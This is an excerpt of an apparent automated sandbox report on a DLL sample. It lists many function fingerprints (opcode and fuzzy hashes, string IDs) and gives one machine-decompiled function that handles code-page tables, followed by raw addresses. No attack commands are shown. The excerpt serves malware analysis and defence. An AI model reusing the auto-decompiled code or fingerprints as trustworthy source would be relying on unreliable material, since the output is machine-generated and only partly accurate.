                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: \r$${B
                                                                        • API String ID: 0-227642452
                                                                        • Opcode ID: 364bce3d49deeeb8f6daa962a43d717f4e0b4a4bb5d5e0a1ef49b99e4e664104
                                                                        • Instruction ID: 04ef496ecb12d7339a3b9083ba6187ca836ab7053daaec2f50b5563a6be4877b
                                                                        • Opcode Fuzzy Hash: 364bce3d49deeeb8f6daa962a43d717f4e0b4a4bb5d5e0a1ef49b99e4e664104
                                                                        • Instruction Fuzzy Hash: 7641B0B050078E8BDF48CF68C88A5DF7BB0FB48348F114A19EC6696260D7B8D665CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800124E4 Relevance: 2.6, Strings: 2, Instructions: 83COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: &o$yy
                                                                        • API String ID: 0-59125751
                                                                        • Opcode ID: 19ba60e10a0a45ad4c18e66316bbdcf9a4ff12cc0565c0e3e55cdcdb483a0ba8
                                                                        • Instruction ID: c72cad015e3ba3c2f2fd20532fc64eafd44441904efc00f0fca66b89d53ff804
                                                                        • Opcode Fuzzy Hash: 19ba60e10a0a45ad4c18e66316bbdcf9a4ff12cc0565c0e3e55cdcdb483a0ba8
                                                                        • Instruction Fuzzy Hash: D441A2B190478E8FDF48CF64C88A5DE7BB0FB58358F104A19E86696250D3B8D664CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002155C Relevance: 2.6, Strings: 2, Instructions: 81COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Kj$\H7
                                                                        • API String ID: 0-1470819310
                                                                        • Opcode ID: e02b85eeaf908cf1b2fbfd8b85314d987d9180a2fff6feea1af0a8162cf9001c
                                                                        • Instruction ID: b6099d87222479c6fc5bd6adb6112071eca9f34d0175019c86bffa76f7816989
                                                                        • Opcode Fuzzy Hash: e02b85eeaf908cf1b2fbfd8b85314d987d9180a2fff6feea1af0a8162cf9001c
                                                                        • Instruction Fuzzy Hash: 6231927562C781ABC398CF28D49981ABBF1FBC9304F906A2DF8C686350D779D4468B47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180020C68 Relevance: 2.6, Strings: 2, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: G$N1
                                                                        • API String ID: 0-2252191953
                                                                        • Opcode ID: 8ce5c824cbbd5addb0ecfa124f6e9a9035fe183e84c566d41c1eee401252f5dd
                                                                        • Instruction ID: 4423aa54d171761ff4490bc0952c07dbaacd878d7f0b8f3f0e90bb7cd8cd662d
                                                                        • Opcode Fuzzy Hash: 8ce5c824cbbd5addb0ecfa124f6e9a9035fe183e84c566d41c1eee401252f5dd
                                                                        • Instruction Fuzzy Hash: 4F41B4B080078ECFDB59CF64C84A4CE7BB0FB58748F100A19F869A6290D3B4D665CBD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180014594 Relevance: 2.6, Strings: 2, Instructions: 75COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: pG$v*U
                                                                        • API String ID: 0-3505048882
                                                                        • Opcode ID: 3bd1b8e7a831360d1a66145c2fd73055bfec599c398890b30ce089a6ee0b3c1c
                                                                        • Instruction ID: fee8689b1f107732b96cbff17136c5a85d3a14141f12c6f1465a2339fcbb9e16
                                                                        • Opcode Fuzzy Hash: 3bd1b8e7a831360d1a66145c2fd73055bfec599c398890b30ce089a6ee0b3c1c
                                                                        • Instruction Fuzzy Hash: C331A170628381AFD788CF28D49A92ABBE1FBC9305F846A2DF9C687350D775D445CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002BE90 Relevance: 2.6, Strings: 2, Instructions: 75COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <G3$]
                                                                        • API String ID: 0-4166186254
                                                                        • Opcode ID: c88168ef64aa4f429de026681a664fc6940ecc10dcc568dd4b2cb10fe5369d07
                                                                        • Instruction ID: c47e8179a1bdd71173cd1f2098c9bb82438c62bd0e55d8d3a42f3fdc4fc014d6
                                                                        • Opcode Fuzzy Hash: c88168ef64aa4f429de026681a664fc6940ecc10dcc568dd4b2cb10fe5369d07
                                                                        • Instruction Fuzzy Hash: 96319F716187818BC349DF28D45A41ABBE1FBCD34CF404B1DF8CAA6290D778D605CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800025D8 Relevance: 2.6, Strings: 2, Instructions: 71COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: . $<
                                                                        • API String ID: 0-925536456
                                                                        • Opcode ID: 46f595ef1a13ba9ca77d57b7316055d0dcd1c26d9f7725bcfa2b7b4e5811abdf
                                                                        • Instruction ID: 85f36d1bd74cbd08cae462e7a9977ac530ba30fc041ae40d82e0140834bfda47
                                                                        • Opcode Fuzzy Hash: 46f595ef1a13ba9ca77d57b7316055d0dcd1c26d9f7725bcfa2b7b4e5811abdf
                                                                        • Instruction Fuzzy Hash: ED319DB050078E8BDB48CF64C88A5DE7BB0FB58348F104A19E86AA6250D7B8D665CFC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180019EC0 Relevance: 2.6, Strings: 2, Instructions: 70COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: D:$Jt
                                                                        • API String ID: 0-2524835271
                                                                        • Opcode ID: 00adb518f4a377436bfc13d372ed3ffb9f7c509576200b01d853cd1b777bf2fb
                                                                        • Instruction ID: 4788bd0918e9a9a1a625a6e043e2cdee7ee958d02b432ca2608495385e9d8e58
                                                                        • Opcode Fuzzy Hash: 00adb518f4a377436bfc13d372ed3ffb9f7c509576200b01d853cd1b777bf2fb
                                                                        • Instruction Fuzzy Hash: 1A2123716097849FD388DF69C58A91ABBE1FB98300F405A1DF896CB760D3B4D805CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001F238 Relevance: 2.6, Strings: 2, Instructions: 69COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: bo$ql
                                                                        • API String ID: 0-200392605
                                                                        • Opcode ID: 49a63f80b3cf942ec14c7559319064d97289fba25de2560de07b8424bd4e48a4
                                                                        • Instruction ID: 9ac54d8685833e0ca69d61d630ce1e193934aa4d7d1cf69b4db32b21aa09a4aa
                                                                        • Opcode Fuzzy Hash: 49a63f80b3cf942ec14c7559319064d97289fba25de2560de07b8424bd4e48a4
                                                                        • Instruction Fuzzy Hash: F53147B052D381AFD398DF28C48581BBBE1FB89744F906A1DF9868B2A0D7759845CB43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180004948 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <$ZD
                                                                        • API String ID: 0-2501396078
                                                                        • Opcode ID: 2824c35daa3de74f518df19ab1b75e9d9cda817f1187cf5d760b8d6fedb945b2
                                                                        • Instruction ID: 889ed5917f9bc7f1db312caac09e74f0ae3dbe9b25d68788710c732ab2202cd7
                                                                        • Opcode Fuzzy Hash: 2824c35daa3de74f518df19ab1b75e9d9cda817f1187cf5d760b8d6fedb945b2
                                                                        • Instruction Fuzzy Hash: 1B3158B45187818BD349DF28C04951ABBF1FBCC35CF904B1DF4CAAB290D77896058B4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180016978 Relevance: 2.6, Strings: 2, Instructions: 64COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: dy$N
                                                                        • API String ID: 0-2062038628
                                                                        • Opcode ID: c97720179c95e872637b076776cb8797f0f432bfdfd54f8af27558e2adab77d4
                                                                        • Instruction ID: 3989f9e5e6be68472aa36bb3390f48256f2a3044c943fb83a6f3081767362103
                                                                        • Opcode Fuzzy Hash: c97720179c95e872637b076776cb8797f0f432bfdfd54f8af27558e2adab77d4
                                                                        • Instruction Fuzzy Hash: E6215A30109B449BE398DF38C58962ABBE1EB94780FA0591DF992C63B4DB748845CB02
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000BC08 Relevance: 2.6, Strings: 2, Instructions: 63COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Hbw$aF
                                                                        • API String ID: 0-3602373320
                                                                        • Opcode ID: 63be6ca9e4fa926235834e9f9773f4c38407dbca7ff0c43712e9de519cd28126
                                                                        • Instruction ID: 0ca57ad984779daae22f2044c653f8af25bea9fb528a98be8a8023bebdab3d9e
                                                                        • Opcode Fuzzy Hash: 63be6ca9e4fa926235834e9f9773f4c38407dbca7ff0c43712e9de519cd28126
                                                                        • Instruction Fuzzy Hash: BB317E74629380AFD388DF28C09591ABBF1BB89314F806A1DF9968A390D774D404CF47
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001C8C0 Relevance: 2.6, Strings: 2, Instructions: 60COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: X2$}q
                                                                        • API String ID: 0-380955408
                                                                        • Opcode ID: 95590018382b9876e4c8128225c2283738dbe38793f10dd7529eabebcd26e986
                                                                        • Instruction ID: 64030083d713857a87bec78ddb02aa6d6781692487f5cc4bb342de08aab5f38c
                                                                        • Opcode Fuzzy Hash: 95590018382b9876e4c8128225c2283738dbe38793f10dd7529eabebcd26e986
                                                                        • Instruction Fuzzy Hash: 1F21B6B011A744ABD7C9DF24C2CA65BBBE0BBC4B54FD0791DF482862A0D778D9488B43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001ACEC Relevance: 2.6, Strings: 2, Instructions: 58COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: $^c$4
                                                                        • API String ID: 0-2209625224
                                                                        • Opcode ID: 401d73e0bbc2dfed66853937a49297a9b5588befae7a21c1bc13c69664648e7f
                                                                        • Instruction ID: f98e6c0f4f5dd45d95d012d9d2916e04fe5ea1f99a7368387c28b7710ff08e74
                                                                        • Opcode Fuzzy Hash: 401d73e0bbc2dfed66853937a49297a9b5588befae7a21c1bc13c69664648e7f
                                                                        • Instruction Fuzzy Hash: D42169716187848BC349DF28D44651ABBE1BBCC308F405B1DF4CAAB350D7B8A604CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180010578 Relevance: 2.6, Strings: 2, Instructions: 55COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: mqce$0
                                                                        • API String ID: 0-3394611740
                                                                        • Opcode ID: 8dc2d1d1b7f3fd8bee6d8350731ba4bb420b9c2bbd674ba1816a43f94c9f9f38
                                                                        • Instruction ID: 81d3bf9a475a8d1d4b0e927d375d3f3f1ad0bfb341bd954279ae48af79d97aab
                                                                        • Opcode Fuzzy Hash: 8dc2d1d1b7f3fd8bee6d8350731ba4bb420b9c2bbd674ba1816a43f94c9f9f38
                                                                        • Instruction Fuzzy Hash: 162173B0528381ABD389DF28C49991FBBE0FB89318F806A1DF98687350D7799444CB43
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013D1C Relevance: 2.6, Strings: 2, Instructions: 52COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: EL$]F
                                                                        • API String ID: 0-2123762467
                                                                        • Opcode ID: 6ff1bc6076d5c0883e645f9af8d2b2bb5d9b8d4104f608c8574d48437c290935
                                                                        • Instruction ID: 15bde9ab4a755d8664b440b8dc0660d87f98eaf1f28cb99fbefd95b79a5befe6
                                                                        • Opcode Fuzzy Hash: 6ff1bc6076d5c0883e645f9af8d2b2bb5d9b8d4104f608c8574d48437c290935
                                                                        • Instruction Fuzzy Hash: E52128B45083819BD349DF68C48941ABBE0FB9D71CF400B5DF4C9AB291D778D644CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180004848 Relevance: 2.6, Strings: 2, Instructions: 50COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: &l{$o#
                                                                        • API String ID: 0-2730603103
                                                                        • Opcode ID: de60d1831069c2ef89d38a7fd8998c219c9345b115e58d1be25a80c2d27f9433
                                                                        • Instruction ID: 10c0b4eb446b2bb665e75b9ec34d3423cb7970af79a85e9ae69d49fb7023ebd0
                                                                        • Opcode Fuzzy Hash: de60d1831069c2ef89d38a7fd8998c219c9345b115e58d1be25a80c2d27f9433
                                                                        • Instruction Fuzzy Hash: 682145B55087848BD388DF28D44A41ABBE0FB9C308F800B1DF4CEA72A1D7789645CF4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10005790 Relevance: 1.8, APIs: 1, Instructions: 279COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 83%
                                                                        			E10005790(signed long long __ecx, void* __eflags, long long __rbx, long long __rdx, signed long long __rdi, long long __rsi, signed long long __rbp, signed char* __r8, signed long long __r10, long long __r12, long long __r13, void* __r14, void* __r15, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				long long _v24;
				long long _v32;
				signed int _v48;
				char _v66;
				char _v72;
				signed long long _t118;
				signed char _t120;
				signed long long _t133;
				signed int _t136;
				signed int _t137;
				signed char _t145;
				signed int _t147;
				signed int _t148;
				signed int _t154;
				signed int _t158;
				signed long long _t164;
				signed long long _t165;
				signed long long _t174;
				intOrPtr* _t176;
				signed char* _t178;
				signed char* _t179;
				signed long long _t185;
				void* _t189;
				void* _t191;
				signed long long _t192;
				void* _t194;
				signed char* _t199;
				signed long long _t202;
				void* _t206;
				void* _t207;
				signed long long _t208;
				signed long long _t210;
				signed char* _t211;
				signed long long _t212;
				signed long long _t213;
				signed long long _t216;
				signed long long _t221;
				signed long long _t222;
				signed char* _t223;
				long long _t224;
				signed long long _t225;
				void* _t230;
				void* _t231;

				_t231 = __r15;
				_t230 = __r14;
				_t224 = __r12;
				_t221 = __r10;
				_t211 = __r8;
				_t208 = __rbp;
				_t204 = __rsi;
				_t202 = __rdi;
				_t195 = __rdx;
				_t151 = __ecx;
				_t222 = _t210;
				_t174 =  *0x10016058; // 0x9983997faf96
				_v48 = _t174 ^ _t210;
				 *((long long*)(_t222 + 0x18)) = __rbx;
				 *((long long*)(_t222 + 0x20)) = __rbp;
				 *((long long*)(_t222 - 8)) = __rsi;
				 *((long long*)(_t222 - 0x10)) = __rdi;
				_t181 = __rdx;
				_t118 = E10005680(__ecx, _t174 ^ _t210, __rdx, __rdi, __rsi, __rbp, __r8, __r12);
				_t164 = _t118;
				if(_t118 != 0) {
					_v24 = _t224;
					_t165 = 0;
					__eflags = 0;
					_v32 = __r13;
					_t151 = 0;
					_t225 = _t208;
					_t176 = 0x10016b60;
					while(1) {
						__eflags =  *_t176 - _t164;
						if( *_t176 == _t164) {
							break;
						}
						_t151 = _t151 + 1;
						_t225 = _t225 + 1;
						_t176 = _t176 + 0x30;
						__eflags = _t151 - 5;
						if(_t151 < 5) {
							continue;
						}
						_t151 = _t164;
						_t133 = GetCPInfo(??, ??);
						__eflags = _t133;
						if(_t133 == 0) {
							__eflags =  *0x10017e70 - _t165; // 0x0
							if(__eflags == 0) {
								L57:
								goto L58;
							}
							_t59 = _t181 + 0x1c; // 0x1c
							_t206 = _t59;
							_t212 = _t202;
							E10001200(_t133, _t151, 0, _t206,  &_v72, _t212);
							 *(_t181 + 4) = _t165;
							 *(_t181 + 8) = _t165;
							 *(_t181 + 0xc) = _t165;
							 *(_t181 + 0x10) = _t208;
							__eflags = 0x10016720;
							 *(_t181 + 0x18) = _t165;
							do {
								_t136 =  *(_t206 + 0x10016720) & 0x000000ff;
								_t206 = _t206 + 1;
								_t202 = _t202 - 1;
								__eflags = _t202;
								 *(_t206 - 1) = _t136;
							} while (_t202 != 0);
							_t67 = _t181 + 0x11d; // 0x11d
							_t191 = _t67;
							r8d = 0x80;
							__eflags = 0x10016721;
							do {
								_t137 =  *(_t191 + 0x10016720) & 0x000000ff;
								_t191 = _t191 + 2;
								_t212 = _t212 - 1;
								__eflags = _t212;
								 *(_t191 - 2) = _t137;
								 *((char*)(_t191 - 1)) =  *(_t191 + 0x1001671f) & 0x000000ff;
							} while (_t212 != 0);
							L56:
							__eflags = 0;
							goto L57;
						}
						_t23 = _t181 + 0x1c; // 0x1c
						_t192 = _t23;
						r8d = 0x101;
						E10001200(_t133, _t151, 0, _t192,  &_v72, _t211);
						__eflags = _v72 - 1;
						 *(_t181 + 4) = _t164;
						 *(_t181 + 0xc) = _t165;
						if(_v72 <= 1) {
							 *(_t181 + 8) = _t165;
							 *(_t181 + 0x10) = _t208;
							 *(_t181 + 0x18) = _t165;
							L55:
							E10005360(_t164, _t181, _t181, _t202, _t204, _t211, _t221, _t225, 0x10016b60, _t230, _t231);
							goto L56;
						}
						__eflags = _v66 - bpl;
						_t199 =  &_v66;
						if(_v66 == bpl) {
							L18:
							_t32 = _t181 + 0x1f; // 0x1f
							_t178 = _t32;
							do {
								 *(_t178 - 1) =  *(_t178 - 1) | 0x00000008;
								 *_t178 =  *_t178 | 0x00000008;
								_t178 =  &(_t178[2]);
								_t192 = _t192 - 1;
								__eflags = _t192;
							} while (_t192 != 0);
							_t151 =  *(_t181 + 4) - 0x3a4;
							__eflags = _t151;
							if(_t151 == 0) {
								 *(_t181 + 8) = 1;
								 *(_t181 + 0xc) = 0x411;
								 *(_t181 + 0x10) = _t208;
								 *(_t181 + 0x18) = _t165;
							} else {
								_t151 = _t151 - 4;
								__eflags = _t151;
								if(_t151 == 0) {
									 *(_t181 + 8) = 1;
									 *(_t181 + 0xc) = 0x804;
									 *(_t181 + 0x10) = _t208;
									 *(_t181 + 0x18) = _t165;
								} else {
									_t151 = _t151 - 0xd;
									__eflags = _t151;
									if(_t151 == 0) {
										 *(_t181 + 8) = 1;
										 *(_t181 + 0xc) = 0x412;
										 *(_t181 + 0x10) = _t208;
										 *(_t181 + 0x18) = _t165;
									} else {
										__eflags = _t151 - 1;
										if(_t151 == 1) {
											 *(_t181 + 8) = 1;
											 *(_t181 + 0xc) = 0x404;
											 *(_t181 + 0x10) = _t208;
											 *(_t181 + 0x18) = _t165;
										} else {
											 *(_t181 + 0xc) = _t165;
											 *(_t181 + 8) = 1;
											 *(_t181 + 0x10) = _t208;
											 *(_t181 + 0x18) = _t165;
										}
									}
								}
							}
							goto L55;
						} else {
							while(1) {
								_t145 = _t199[1] & 0x000000ff;
								__eflags = _t145;
								if(_t145 == 0) {
									goto L18;
								}
								r8d =  *_t199 & 0x000000ff;
								_t154 = _t145 & 0x000000ff;
								__eflags = r8d - _t154;
								if(r8d > _t154) {
									L17:
									_t199 =  &(_t199[2]);
									__eflags =  *_t199 - bpl;
									if( *_t199 != bpl) {
										continue;
									}
									goto L18;
								} else {
									_t31 = _t181 + 0x1d; // 0x1d
									_t179 =  &(_t211[_t31]);
									__eflags = _t154 - r8d + 1;
									do {
										 *_t179 =  *_t179 | 0x00000004;
										_t179 =  &(_t179[1]);
										_t192 = _t192 - 1;
										__eflags = _t192;
									} while (_t192 != 0);
									goto L17;
								}
							}
							goto L18;
						}
					}
					_t73 = _t181 + 0x1c; // 0x1c
					r8d = 0x101;
					E10001200(_t118, _t151, 0, _t73, _t195, _t211);
					_t223 = 0x10016b58;
					r10d = 4;
					_t216 = (_t225 + _t225 * 2 << 4) + 0x10016b70;
					__eflags = _t216;
					do {
						__eflags =  *_t216 - bpl;
						_t211 = _t216;
						if( *_t216 == bpl) {
							goto L45;
						}
						while(1) {
							_t120 = _t211[1] & 0x000000ff;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L45;
							}
							_t158 =  *_t211 & 0x000000ff;
							__eflags = _t158 - (_t120 & 0x000000ff);
							if(_t158 > (_t120 & 0x000000ff)) {
								L44:
								_t211 =  &(_t211[2]);
								__eflags =  *_t211 - bpl;
								if( *_t211 != bpl) {
									continue;
								}
								goto L45;
							}
							_t78 = _t181 + 0x1d; // 0x21
							_t189 = _t195 + _t78;
							do {
								_t158 = _t158 + 1;
								_t189 = _t189 + 1;
								 *(_t189 - 1) =  *(_t189 - 1) |  *_t223 & 0x000000ff;
								__eflags = _t158 - (_t211[1] & 0x000000ff);
							} while (_t158 <= (_t211[1] & 0x000000ff));
							goto L44;
						}
						L45:
						_t216 = _t216 + 8;
						_t223 =  &(_t223[1]);
						_t221 = _t221 - 1;
						__eflags = _t221;
					} while (_t221 != 0);
					 *(_t181 + 4) = _t164;
					_t164 = _t164 - 0x3a4;
					__eflags = _t164;
					 *(_t181 + 8) = 1;
					if(_t164 == 0) {
						_t165 = 0x411;
					} else {
						_t164 = _t164 - 4;
						__eflags = _t164;
						if(_t164 == 0) {
							_t165 = 0x804;
						} else {
							_t164 = _t164 - 0xd;
							__eflags = _t164;
							if(_t164 == 0) {
								_t165 = 0x412;
							} else {
								__eflags = _t164 - 1;
								if(_t164 == 1) {
									_t165 = 0x404;
								}
							}
						}
					}
					 *(_t181 + 0xc) = _t165;
					_t185 = _t225 + _t225 * 2 + _t225 + _t225 * 2;
					__eflags = _t185;
					 *(_t181 + 0x10) =  *(0x10016b60 + 4 + _t185 * 8) & 0x0000ffff;
					 *((short*)(_t181 + 0x12)) =  *(0x10016b60 + 6 + _t185 * 8) & 0x0000ffff;
					 *((short*)(_t181 + 0x14)) =  *(0x10016b60 + 8 + _t185 * 8) & 0x0000ffff;
					 *((short*)(_t181 + 0x16)) =  *(0x10016b60 + 0xa + _t185 * 8) & 0x0000ffff;
					 *(_t181 + 0x18) =  *(0x10016b60 + 0xc + _t185 * 8) & 0x0000ffff;
					 *((short*)(_t181 + 0x1a)) =  *(0x10016b60 + 0xe + _t185 * 8) & 0x0000ffff;
					goto L55;
				} else {
					_t6 = _t181 + 0x1c; // 0x1c
					_t207 = _t6;
					_t213 = _t202;
					E10001200(_t118, __ecx, 0, _t207, __rdx, _t213);
					 *((intOrPtr*)(__rdx + 4)) = 0;
					 *((intOrPtr*)(__rdx + 8)) = 0;
					 *((intOrPtr*)(__rdx + 0xc)) = 0;
					 *(__rdx + 0x10) = _t208;
					 *((intOrPtr*)(__rdx + 0x18)) = 0;
					goto L2;
					do {
						L4:
						_t148 =  *(_t194 + 0x10016720) & 0x000000ff;
						_t194 = _t194 + 2;
						_t213 = _t213 - 1;
						 *(_t194 - 2) = _t148;
						 *((char*)(_t194 - 1)) =  *(0x10016721 + _t194 - 2) & 0x000000ff;
					} while (_t213 != 0);
					L58:
					return E10001050(_t151, _v48 ^ _t210);
					L2:
					_t147 =  *(0x10016720 + _t207) & 0x000000ff;
					_t207 = _t207 + 1;
					_t202 = _t202 - 1;
					 *(_t207 - 1) = _t147;
					if(_t202 != 0) {
						goto L2;
					} else {
						_t14 = _t181 + 0x11d; // 0x11d
						_t194 = _t14;
						r8d = 0x80;
						goto L4;
					}
				}
			}
















































                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005790
                                                                        0x10005797
                                                                        0x100057a1
                                                                        0x100057a6
                                                                        0x100057aa
                                                                        0x100057ae
                                                                        0x100057b2
                                                                        0x100057b6
                                                                        0x100057b9
                                                                        0x100057c0
                                                                        0x100057c2
                                                                        0x10005851
                                                                        0x10005856
                                                                        0x10005856
                                                                        0x10005858
                                                                        0x10005864
                                                                        0x10005866
                                                                        0x10005869
                                                                        0x10005870
                                                                        0x10005870
                                                                        0x10005872
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10005878
                                                                        0x1000587b
                                                                        0x1000587f
                                                                        0x10005883
                                                                        0x10005886
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1000588d
                                                                        0x1000588f
                                                                        0x10005895
                                                                        0x10005897
                                                                        0x100059ce
                                                                        0x100059d4
                                                                        0x10005b89
